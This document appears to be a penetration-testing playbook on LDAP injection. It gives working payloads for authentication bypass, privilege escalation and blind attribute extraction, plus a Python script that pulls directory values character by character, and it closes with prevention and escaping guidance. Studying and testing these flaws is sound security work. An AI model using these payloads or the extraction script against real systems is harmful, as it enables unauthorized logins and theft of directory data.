LDAP Injection Testing
Purpose
Identify and exploit LDAP injection vulnerabilities in web applications that interact with LDAP directory services. LDAP injection attacks manipulate queries sent to LDAP servers, enabling authentication bypass, privilege escalation, and sensitive data extraction from corporate directories including Active Directory, OpenLDAP, and Novell eDirectory.
Prerequisites
Required Knowledge
-
Understanding of LDAP protocol and directory structure
-
Familiarity with LDAP filter syntax (RFC 4515)
-
Web application testing fundamentals
-
Knowledge of authentication mechanisms
Required Tools
-
Web browser with developer tools
-
Burp Suite or similar proxy
-
Custom scripts for blind injection automation
-
Access to test LDAP environment
Required Access
-
Target web application URL
-
Test user credentials (if available)
-
Written authorization for testing
Outputs and Deliverables
-
Vulnerability Assessment Report - Document all injection points and severity
-
Proof of Concept Exploits - Working injection payloads for each vulnerability
-
Data Extraction Results - Enumerated attributes, users, and directory structure
-
Remediation Recommendations - Input validation and parameterized query guidance
Core Workflow
Phase 1: LDAP Filter Syntax Understanding
Master LDAP filter construction before testing:
LDAP Filter Structure
Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = | filterlist Not = ! filter
Operators
= Equal ~= Approximate
= Greater than or equal <= Less than or equal
- Wildcard (one or more characters)
Special Constants
(&) Absolute TRUE (|) Absolute FALSE
Phase 2: Injection Point Detection
Test input fields for LDAP injection susceptibility:
Basic injection test characters
*) *)) )( )(& ))(|
Observe application responses for:
-
Error messages revealing LDAP syntax
-
Unexpected data disclosure
-
Authentication bypass indicators
-
Application behavior changes
Phase 3: AND Injection Exploitation
Target applications using AND operator in queries:
Authentication Bypass:
Original query structure
(&(USER=input)(PASSWORD=input))
Injection payload (username field)
username: slisberger)(&)) password: anything
Resulting query (first filter processed)
(&(USER=slisberger)(&))(PASSWORD=anything))
Evaluates to TRUE - bypasses password check
Privilege Escalation:
Original query for low-privilege documents
(&(directory=documents)(security_level=low))
Injection payload
documents)(security_level=*))(&(directory=documents
Resulting query
(&(directory=documents)(security_level=*))(&(directory=documents)(security_level=low))
First filter returns ALL security levels
Phase 4: OR Injection Exploitation
Target applications using OR operator in queries:
Information Disclosure:
Original resource query
(|(type=printer)(type=scanner))
Injection payload
printer)(uid=*)
Resulting query
(|(type=printer)(uid=*))(type=scanner))
Returns all printers AND all user objects
Object Enumeration:
Inject to enumerate different object classes
printer)(objectClass=person) printer)(objectClass=computer) printer)(objectClass=group)
Phase 5: Blind LDAP Injection
Extract data through TRUE/FALSE responses when errors are suppressed:
AND Blind Injection:
Test if objectClass exists
*)(objectClass=users))(&(objectClass=void
If icons/results appear = TRUE (class exists)
If no results = FALSE (class doesn't exist)
Enumerate object classes
*)(objectClass=person))(&(objectClass=void *)(objectClass=computer))(&(objectClass=void *)(objectClass=group))(&(objectClass=void
OR Blind Injection:
Inverse logic for OR queries
void)(objectClass=users))(&(objectClass=void
Results appear = TRUE
No results = FALSE
Phase 6: Attribute Discovery
Enumerate available attributes through blind injection:
Test for common attributes
)(uid=))(&(1=0 )(cn=))(&(1=0 )(mail=))(&(1=0 )(telephoneNumber=))(&(1=0 )(department=))(&(1=0 )(userPassword=))(&(1=0
TRUE response indicates attribute exists
Phase 7: Booleanization Attack
Extract attribute values character by character:
Determine if department starts with 'a'
)(department=a))(&(1=0
FALSE - doesn't start with 'a'
Try 'f'
)(department=f))(&(1=0
TRUE - starts with 'f'
Continue with second character
)(department=fa))(&(1=0
FALSE
)(department=fi))(&(1=0
TRUE - starts with 'fi'
Continue until full value extracted: "finance"
Phase 8: Charset Reduction
Optimize extraction using binary search:
Test if character is in range a-m
)(department>=a)(department<=m))(&(1=0
If TRUE, narrow to a-g
If FALSE, check n-z
Continue binary search to identify exact character
Reduces average attempts from 26 to ~5 per character
Quick Reference
Common Injection Payloads
Context Payload Purpose
Auth Bypass admin)(&))
Bypass password verification
Auth Bypass
)(uid=))( (uid=*
Wildcard *
Match any value
Info Disclosure value)(injected=*)
Add additional filter
Privilege Escalation )(security=))(&(1=0
Access restricted data
Blind TRUE )(objectClass=))(&(objectClass=void
Force TRUE response
Blind FALSE void)(objectClass=void
Force FALSE response
LDAP Special Characters
Character Escape Sequence Usage
\2a
Wildcard
(
\28
Filter start
)
\29
Filter end
\
\5c
Escape character
NUL
\00
Null byte
Common LDAP Attributes
uid - User ID cn - Common Name sn - Surname mail - Email address userPassword - Password hash memberOf - Group membership department - Department name telephoneNumber - Phone objectClass - Object type distinguishedName - Full DN path
Detection Indicators
Error messages suggesting LDAP
"LDAP error" "Invalid DN syntax" "Filter error" "javax.naming.directory" "ldap_search" "Bad search filter"
Constraints and Limitations
Technical Limitations
-
OpenLDAP ignores malformed trailing content
-
ADAM (Active Directory) rejects queries with multiple filters
-
Some frameworks validate filter syntax before execution
-
Blind injection requires many requests for data extraction
Ethical Boundaries
-
Only test with explicit written authorization
-
Avoid modifying production directory data
-
Do not access personal employee information beyond scope
-
Report vulnerabilities through proper channels
Environmental Factors
-
Web application framework may sanitize inputs
-
WAF rules may block injection attempts
-
Rate limiting can slow blind injection attacks
-
Different LDAP implementations behave differently
Examples
Example 1: Login Bypass
Scenario: Test login form for LDAP injection
Step 1: Identify normal login behavior
Username: testuser Password: testpass Result: "Invalid credentials"
Step 2: Test for injection
Username: testuser)(|(password=* Password: anything Result: "Login successful" - VULNERABLE
Step 3: Bypass specific user
Username: admin)(&)) Password: bypass Result: Logged in as admin
Example 2: Blind Data Extraction
Scenario: Extract department value through blind injection
#!/usr/bin/env python3 import requests
url = "https://target.com/search" charset = "abcdefghijklmnopqrstuvwxyz0123456789" extracted = ""
while True: found = False for char in charset: payload = f")(department={extracted}{char}))(&(1=0" response = requests.get(url, params={"query": payload})
if "results found" in response.text: # TRUE indicator
extracted += char
found = True
print(f"Found: {extracted}")
break
if not found:
break
print(f"Extracted value: {extracted}")
Example 3: User Enumeration
Scenario: Enumerate valid usernames via blind injection
Test if 'admin' user exists
*)(uid=admin))(&(1=0
TRUE - user exists
Test if 'root' user exists
*)(uid=root))(&(1=0
FALSE - user doesn't exist
Enumerate with common usernames
administrator, guest, service, backup, operator
Troubleshooting
Injection Not Working
Problem: Payloads don't affect application behavior
Solutions:
-
Verify application uses LDAP backend (check for LDAP error messages)
-
Test different injection contexts (AND vs OR)
-
Try URL-encoded versions of special characters
-
Check if input is being sanitized or escaped
-
Test with simpler payloads first (* , ) )
Blind Injection Inconsistent
Problem: TRUE/FALSE responses are unreliable
Solutions:
-
Establish reliable baseline for TRUE and FALSE responses
-
Account for timing variations (use response content, not time)
-
Increase delay between requests to avoid rate limiting
-
Verify the injection point is actually processed by LDAP
Authentication Bypass Fails
Problem: Cannot bypass login with injection
Solutions:
-
Try different filter termination sequences
-
Test both username and password fields
-
Attempt null byte injection: admin%00
-
Check if multi-step authentication exists
-
Verify the login uses LDAP (could be database-backed)
Data Extraction Incomplete
Problem: Booleanization returns partial data
Solutions:
-
Expand character set (include uppercase, symbols)
-
Check for multi-valued attributes
-
Account for spaces and special characters in values
-
Use wildcard at end to detect remaining characters
-
Verify charset matches LDAP attribute encoding
Prevention Recommendations
For Developers
Use Parameterized Queries
// Use LDAP SDK with proper escaping String filter = Filter.createEqualityFilter("uid", userInput);
Input Validation
Whitelist allowed characters
import re if not re.match(r'^[a-zA-Z0-9_-]+$', username): raise ValueError("Invalid username format")
Escape Special Characters
def ldap_escape(value): escape_chars = {'\': '\5c', '*': '\2a', '(': '\28', ')': '\29', '\x00': '\00'} for char, escape in escape_chars.items(): value = value.replace(char, escape) return value
Implement Least Privilege
-
LDAP service accounts should have minimal permissions
-
Restrict access to sensitive attributes
-
Use read-only connections where possible